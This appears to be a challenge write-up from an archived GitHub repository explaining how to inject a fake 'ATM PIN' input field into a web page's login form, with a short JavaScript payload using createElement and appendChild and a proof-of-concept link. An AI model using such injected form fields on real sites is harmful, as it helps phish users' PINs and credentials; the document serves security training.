Skip to content
This repository has been archived by the owner on Jun 2, 2022. It is now read-only.

Latest commit

 

History

History
24 lines (16 loc) · 1.2 KB

TASK_4.md

File metadata and controls

24 lines (16 loc) · 1.2 KB

Task 4 [Try Now]

Objectives:

  1. Add a new form field called "ATM PIN"

So this is pretty straight forward. We need to create an element and add it to the form.

Using Document.createElement() you can create an element and then with appendChild function you can add it before the submit button.

So the payload goes like this

let ip = document.createElement("input");
ip.name = "atm_pin";
ip.classList.add("input-block-level");
ip.placeholder = "ATM Pin";
ip.type = "text";
document.forms[0].appendChild(ip);

This will add the input tag underneath submit button. Since it was not mentioned in the challenge, so this was the beast payload I came up with.

For POC, Click Here